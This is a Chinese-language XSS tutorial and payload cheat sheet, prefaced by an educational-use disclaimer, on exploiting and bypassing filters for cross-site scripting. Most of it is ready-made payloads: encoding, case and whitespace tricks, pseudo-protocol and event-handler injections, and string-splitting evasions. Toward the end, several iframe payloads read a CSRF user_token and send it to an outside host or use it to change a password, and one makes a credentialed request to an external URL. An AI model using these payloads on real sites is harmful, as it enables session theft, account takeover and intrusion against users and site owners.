免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章阅读。
目录
漏洞挖掘步骤:
找到可能存在漏洞的地方,查看是否有进行处理,没有处理进行相应攻击测试,成功发现漏洞
对于XSS的漏洞挖掘过程,其实就是一个使用Payload不断测试和调整再测试的过程,这个过程我们把它叫做Fuzzing;同样是Fuzzing,有些人挖洞比较高效,有些人却不那么容易挖出漏洞,除了掌握的技术之外,比如编码的绕过处理等,还包含一些技巧性的东西,掌握一些技巧和规律,可以使得挖洞会更加从容。
输出点为HTML标签的文本区域<textarea>输出点</textarea>
<script>alert(1)</script>
输出点为html标签的属性值<input type="text" name="address" value="输出点">
"><script>alert(1)</script>
" οnfοcus="alert(1)
输出点为JavaScript脚本中的字符串<script>var a="输出点"; </script>
"; alert(1); var b="
';alert(1);</script>//
输出点为以URL位置的属性值<a href="输出点">click here</a><embed src="输出点"><iframe src="输出点"><object data="输出点">
" οnfοcus="alert(1)
"><script>alert(1)</script>
javascript:alert(1);
其他绕过技巧:
【浏览器解析过程】
浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。下面以一篇HTML文档解析来简单的讨论下解析器如何协同工作的。
首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。每个解析过程中也有许多细节,下面再做具体讨论。
基本概念
【HTML字符实体】:在呈现HTML页面时,针对某些特殊字符如"<"或">"直接使用,浏览器会误以为它们标签的开始或结束,若想正确的在HTML页面呈现特殊字符就需要用到其对应的字符实体。字符实体是一个预先定义好的转义序列,它定义了一些无法在文本内容中输入的字符或符号。字符实体以&开头+预先定义的实体名称,以分号结束,如"<"的实体名称为< 或以&开头+#符号以及字符的十进制数字,如"<"的实体编号为<,字符都是有实体编号的但有些字符没有实体名称。
【JavaScript编码】:最常用的如"\uXXXX"这种写法为Unicode转义序列,表示一个字符,其中xxxx表示一个16进制数字,如"<" Unicode编码为"\u003c"。
【URL编码】:%加字符的ASCII编码对于的2位16进制数字,如"/"对应的URL编码为%2f。
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<SCRIPT>alert(document.cookie)</SCRIPT>
<sc<script>ript>alert(/xss/)</script>
<img src=1 οnerrοr="setInterval('alert(\"Hello\");', 5000);">
<img src=1 οnerrοr=print(1)>
<img src=x οnerrοr="a='ale';b='rt';c='(1)';eval(a+b+c)"> ##eval()可以将字符串拼接成可执行脚本
<IMG SRC="javascript:alert(1);">
<IMG SRC=javascript:alert(1)>
<IMG SRC=JaVaScRiPt:alert(1)>
<a href=javascript:alert(1)>
<a href=javascript:top["al"+"ert"](1)>
<script>top["al"+"ert"](1)</script>
<details οntοggle=top['al'+'ert'](1) open >
<svg/οnlοad=alert(1)>
<svg%0aοnlοad=alert(1)>
<body οnlοad=alert(1)>
<script>while(1)(window.open());</script>
<iframe allowfullscreen="allowfullscreen" frameborder="0" src="javascript:alert(222)"></iframe>
<input οnblur=alert`1`>111</input>
<img src="app/assets/img/details/loading.png" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<video οnlοadstart=[1].find(alert) source src>
<a href="javascript:%0a%61l\u0065rt(1)">click me</a><a href='javascript:%0a%61l\u0065rt(1)'>click me</a>
<svg><animate onbegin=alert`hgj` attributeName=x dur=1s>
<details οntοggle=alert`1` open>
<iframe allowfullscreen="allowfullscreen" frameborder="0" src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>///PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+
<a href=javascript:alert(1)>11</a>
<a/href="%25%36%61avaScript:%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34(1)">click me</a>
<a/href="j avaScript:al
ert(1)">click me</a>
<a href="ja va
sc ri
p t:ale rt(11)">click me..........</a>
<a href="j avascript:eval('a\x6cert(1)')">111222</a> 【【【利用tab和回车绕过过滤。需要"号包围?】】】#####目前发现只有a连接可以使用这种方式
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object> 【【【data协议】】】img标签data协议不解析js脚本
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">
<iframe src="data:text/html,<script>alert(555)</script>"></iframe>
<svg>
<use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CjxhIHhsaW5rOmhyZWY9ImphdmFzY3JpcHQ6YWxlcnQoJ3hzcycpIj48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgLz48L2E+Cjwvc3ZnPg==#rectangle" />
</svg>
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<a xlink:href="javascript:alert('xss')"><rect x="0" y="0" width="100" height="100" /></a>
</svg>
<svg οnlοad="alert(1)" id="m7" version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="100" height="100"></svg>
svgxss
<svg id="logo" t="1694747017468" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="8526"
xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<a xlink:href="javascript:alert(document.cookie)">
<path d="M446.50124 183.429683s-71.363328-3.247974-116.870777 55.568596c-45.528939 58.814524-11.337209 148.651598 10.248411 194.994066 21.584598 46.341445 135.480624 228.190119 139.664923 232.190223 4.151553 4.010337 9.154497 2.322905 9.42772-1.276063 0.275269-3.569292 13.010315-264.227893 2.76088-328.498686-10.248412-64.272839-40.591487-145.927557-45.231157-152.978136zM199.86091 304.604486c-8.156774 0.87288-66.697051 59.253522-71.973218 116.331495-5.301749 57.07388 19.128663 95.057983 87.341231 140.499941 68.664869 48.689932 231.852532 138.264017 234.849796 130.547265 3.001357-7.696286-63.235207-125.387755-117.44076-210.986295-54.201459-85.596494-124.656091-177.262216-132.777049-176.392406z m21.946848 526.487969c49.38578 22.079878 126.322034-27.508517 147.604756-41.930994 19.792788-15.121396 56.353472-42.919509 56.353473-42.919509l-279.836383 7.489578s26.491351 55.276954 75.878154 77.360925z m7.030114-226.13532c-50.083675-25.069979-153.122423-82.662675-157.154249-81.560574-4.030803 1.100054-19.553335 72.743768 12.670577 126.742613 32.223912 53.998845 94.978165 70.511937 123.777071 74.924433 32.379455 4.613064 222.75841 2.551102 221.482347-1.277086-1.122567-3.341095-150.662395-93.782943-200.775746-118.829386z m464.281185-365.957833c-45.503357-58.81657-116.869754-55.568596-116.869754-55.568596-4.63353 7.048533-34.983769 88.703251-45.231157 152.978137-10.249435 64.271816 2.517333 324.928371 2.789532 328.500732 0.275269 3.595898 5.244444 5.281283 9.423627 1.27504 4.1536-4.002151 118.081349-185.850825 139.667993-232.19227 21.553898-46.342468 55.748698-136.177496 10.219759-194.993043zM951.064874 523.395538c-4.02978-1.103124-107.068528 56.492642-157.151179 81.560574-50.083675 25.045419-199.652156 115.488291-200.748117 118.829385-1.302669 3.827165 189.076286 5.891174 221.455741 1.277087 28.79686-4.412496 91.551112-20.925588 123.777071-74.924434 32.253588-53.997821 16.697287-125.643582 12.666484-126.742612zM653.344169 789.161461c21.278629 14.421454 98.245581 64.010873 147.634432 41.930994 49.384757-22.086018 75.881225-77.360925 75.881224-77.360925l-279.837406-7.489578c-0.002047 0 36.556591 27.802206 56.32175 42.919509z m241.551428-368.226503c-5.304819-57.07695-63.84305-115.457592-71.970148-116.331495-8.151657-0.86981-78.608336 90.795912-132.809795 176.393429-54.207599 85.59854-120.439046 203.293079-117.438713 210.986295 3.000334 7.715729 166.212556-81.857333 234.851842-130.547265 68.208475-45.442982 92.672656-83.426061 87.366814-140.500964z" fill="#272536" p-id="8527"></path>
</a>
</svg>
<style>@keyframes x{}</style><svg style='animation-name:x' onanimatiοnend='alert(789)'></svg><!--使用样式的事件比较冷门-->
<a href=javascript:eval("alert(111);var x=new XMLHttpRequest();x.open('GET','https://icsl.mobius.com/index/1525029829840748545/1',true);x.withCredentials=true;x.send();var d=x.responseText;alert(d);")>99999999</a>
<a href=javascript:eval("var a=111;alert(a);alert('222')")>88888888</a>
a=alert,a(1)
[1].find(alert)
top['al'+'ert'](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
setTimeout('ale'+'rt(1)'); eval() setTimeout() setInterval() eval(decodeURIComponent("%61%6c%65%72%74%28%31%29"));
(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
alert(2) //10进制unicode
alert(1) //16进制unicode
al\u0065rt(1) //unicode
top['al\145rt'](1) //八进制
top['al\x65rt'](1) //十六进制
top[8680439..toString(30)](1)
进阶绕过:
1、绕过 XSS-Filter,利用 <> 标签注入 Html/JavaScript 代码;
2、利用 HTML 标签的属性值进行 XSS 攻击。例如:<img src="javascript:alert('xss')"/>;(当然并不是所有的 Web 浏览器都支持 Javascript 伪协议,所以此类 XSS 攻击具有一定的局限性)
*3、【【【【回车和 Tab】】】。如果 XSS Filter 仅仅将敏感的输入字符列入**,比如 javascript,用户可以利用空格、回车和 Tab 键来绕过过滤,例如:<a href="javas cript:al ert(11)">click me..........</a>
4、利用事件来执行跨站脚本。例如:<img src="#" "alert(1)"/>,当 src 错误的视乎就会执行 onerror 事件;
5、利用 CSS 跨站。例如:body {backgrund-image: url("javascript:alert('xss')")};##只能在低版本浏览器触发
6、扰乱过滤规则。例如:<IMG SRC="javaSCript: alert(/xss/);"/>;
*7、【【【【利用字符编码】】】】,通过这种技巧,不仅能让 XSS 代码绕过服务端的过滤,还能更好地隐藏 Shellcode;html编码,url编码,对js进行各种编码( JS 支持 unicode、eacapes、十六进制、十、八进制等编码形式);
<script>a\u006cert(1);</script> unicode
<script>eval('a\x6cert(1)');</script> 十六进制
<script>eval('a\154ert(1)');</script><script>top['al\145rt'](3);</script> 八进制 需通过eval等函数?
8、拆分跨站法,将 XSS 攻击的代码拆分开来,适用于应用程序没有过滤 XSS 关键字符(如<、>)却对输入字符长度有限制的情况下;
9、DOM 型的 XSS 主要是由客户端的脚本通过 DOM 动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致 DOM 型的 XSS 的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;
10.<abc οnclick=alert(1) src=a>Click here</abc> 【【【自定义标签+事件处理器】】】
11.top[](),eval() setTimeout() setInterval() execScript() Function()等【【【等可以将字符串当作js脚本执行,可以绕过大量黑名单】】】
"top"也可以替换为"window"、"parent"、"self"或"this"
常用的绕过技巧:
1)大小写绕过
用于绕过黑名单(校验报错)安全防护。
例如:<ScRipT>alert('XSS')</sCRIpT>
2)双写绕过
用于绕过黑名单(置空方式)安全防护。
例如:<scrscriptipt>alert('XSS')</scrscriptipt>
3)编码绕过
用于绕过黑名单安全防护
十进制编码(同理十六进制,八进制)
<iframe src=alert(1)>
采用十进制编码后
<iframe src=javascript:alert(1)>
注意:标签不能编码,可以不加分好,可以在数字前用0填充,还可以把、、	等字符插入代码的头部或任意地方。
4)URL编码绕过
用于后台使用了URL解码的函数场景(URL中的payload肯定支持URL编码)
<script>alert('XSS')</script>
URL编码后
%3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E
5)Unicode编码绕过
JavaScript支持Unicode编码
Unicode编码后
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
注意:不能编码符号和标签
6)JavaScript伪协议
<a href="alert(1)">xss</a>
支持伪协议的属性有href,lowsrc,bgsound,background,action,dynsr。此方式针对过滤不严谨的系统使用,比如系统只对
JS符号和关键字过滤,但是没有对"javascript"过滤,就可以利用此方法绕过。如果对"javascript"也会过滤,则可以结合其他的绕过技术一起利用,也可能成功绕过。
data伪协议<a/href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">xxx</a> (老版本浏览器已不支持)
7)`替换括号
<img src="1111" alert`1` />
8)/替换空格
<img/src/οnerrοr=alert(1)>
9)跨站拆分法
用于绕过后台的长度限制,将一个代码通过字符串拼接能力拆分成多条代码。
<script>z='document.'</script>
<script>z+='write("'</script>
<script>z+='<script'</script>
<script>z+='>alert(1'</script>
<script>z+=')</script'</script>
<script>z+='>"'</script>
<script></script>
10)String.fromCharCode()方法
用于黑名单过滤
该方法是JavaScript中的字符串方法,用于把ASCII转换成字符串。
<script>document.writeln(<script>alert("xss")</script>)</script>用String.fromCharCode表示后的形式如下:
<script>document.writeln(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,34,41,59,60,47,115,99,114,105,112,116,62))</script>
这个方法需要使用<script>标签包裹,或者配合JavaScript伪协议使用
xss漏洞绕过:
1.过滤空格
可以用/代替空格
用url编码,回车换行也能代替空格,%0a,%09,%0d等代替空格
2.过滤分号引号
使用伪协议<a href=javascript:alert(1)>
3.过滤改写 标签属性事件等关键字
可以尝试大小写绕过
通过url编码绕过,或插入制表换行%0a%0d等url编码(需要在url中注入)
构造不常用的标签进行注入(过滤标签)
4.过滤一些自带的方法
可以拼接字符串绕过(如过滤alert()、Javascript 可以用)
使用html编码
5.将标签替换为空字符,或删除关键字
可以双写绕过
6.过滤括号
可以alert`1`
7.其他
可以使用tab或回车的方式绕过过滤
=
<>
'"`
想办法在标签中增加事件(尖括号被过滤),或增加新的标签(on事件被过滤)使用伪指令
如果页面可以嵌入其他页面,可以通过其他页面来构造payload 如:ng-include属性可以包含其他HTML文件,需要在同一个域名下
除了在文本框,在地址栏也可以注入,拦截包也可以注入
只要能在页面显示的数据都可以注入payload
优先第一个type如:
<input name="1" value="aaa" type="text" type="hidden" οnclick=alert(2)>
//可以用于注释后面
闭合标签并构造新标签"><a href=javascript:alert(1)><"
闭合属性构造新属性或事件" οnclick="alert(1) 或" οnclick=alert(1) " 或" οnclick=alert(1) //
标签被改写:
直接输入javascript:alert(1)发现script会被识别改写,并且大小写绕过也不行。
那么可以使用单词中间掺杂空白字符的方法,妨碍后端识别指定单词。
符号 URL编码
制表 %09
换行 %0a
退格 %08
注:掺杂以上url编码的payload要提交到浏览器的地址栏才能生效。
test.php?keyword=javascr%09ipt%3Aalert(1)
还有一种方法可以使用提交框进行注入:	
把	插入到关键字之中,如下:
javascr	ipt:alert(1)
自动检测URL,如果发现没有带http://内容则会显示为不合法。
javascr	ipt:alert(1) //http://
事件:
οnclick=alert(1)
οnerrοr=alert(1)
οnmοuseοver=alert(1)
控制台打印
οnclick=console.log(1)
获取其他页面的token
<iframe src="../csrf/" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
<iframe src="../csrf/" οnlοad="window.location.href = 'https://www.baidu.com/?user_token='+frames\[0\].document.getElementsByName('user_token')[0].value">
跳转
<iframe src="../csrf/" οnlοad="window.location.href='http://10.235.213.26:8081/dvwa/vulnerabilities/xss_r/'">
<iframe src="../csrf/" οnlοad="window.location.href='http://www.baidu.com/'">
http://localhost:8088/test1_war_exploded/csrftest2.jsp
file:///D:/csrftest.html
<iframe src="../csrf/" οnlοad="window.location.href='D:/csrftest.html'">
D:/csrftest.html
<iframe src="../csrf/" οnlοad=window.location.href='../xss_r/?name=11'>
<iframe src="../csrf/" οnlοad="a='window.location.href=';b='../xss_r/?name=11';eval(a+b);">
<iframe src="../csrf/" οnlοad="window.location.href='../xss_r/?name='+frames[0].document.getElementsByName('user_token')[0].value">
<iframe src="../csrf/" οnlοad=window.location.href='../xss_r/?name='+frames[0].document.getElementsByName('user_token')[0].value>
<iframe src="../csrf/" οnlοad="window.location.href='../csrf/?password_new='+frames[0].document.getElementsByName('user_token')[0].value">
<iframe src="../csrf/" οnlοad=window.location.href="../csrf/?password_new='111'&password_conf='111'&Change='Change'&user_token="+frames[0].document.getElementsByName('user_token')[0].value>
<iframe src="../csrf/" οnlοad=window.location.href="../csrf/?password_new=111&password_conf=111&Change=Change&user_token=123">
<iframe src="../csrf/" οnlοad=window.location.href='www.baidu.com/'>
html和url等编码主要是为了使<>"/等失效,防止影响页面和url结构
使用html实体编号绕过的时候,实体编号必须要是标签中的属性值(href="实体编号")
或者事件的值(比如οnclick="实体编号")这样浏览器才会翻译解析。比如alert()被过滤了就可以用HTML实体编码
过滤了尖括号就想想能否用on事件来触发漏洞。
将数据保存在localStorage
<iframe src="../csrf/" οnlοad="aaa='123';localStorage.setItem('temp',aaa);">
<iframe src="../csrf/" οnlοad=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);>
<iframe src="../csrf/" οnlοad=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);a=JSON.stringify(a);localStorage.setItem("temp2",a);>
<iframe src="../csrf/" οnlοad=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);localStorage.setItem("temp2",a);>
cookie、sessionStorage、localStorage
js设置和获取上面中的数据
1.localStorage - 没有时间限制的数据存储
var arr=[1,2,3];
localStorage.setItem("temp",arr); //存入 参数: 1.调用的值 2.所要存入的数据
console.log(localStorage.getItem("temp"));//输出
2.清空localStorage
localStorage.clear(); //
3.删除键值对
localStorage.removeItem("arr");
/JSON对象转JSON字符串
var obj = {"a": 1,"b": 2};
obj=JSON.stringify(obj); //转化为JSON字符串
localStorage.setItem("temp2", obj);
//JSON字符串转JSON对象
obj=JSON.parse(localStorage.getItem("temp2"));
测试弹窗:
alert("aaa")
confirm("aaa")
prompt("sometext","defaultvalue")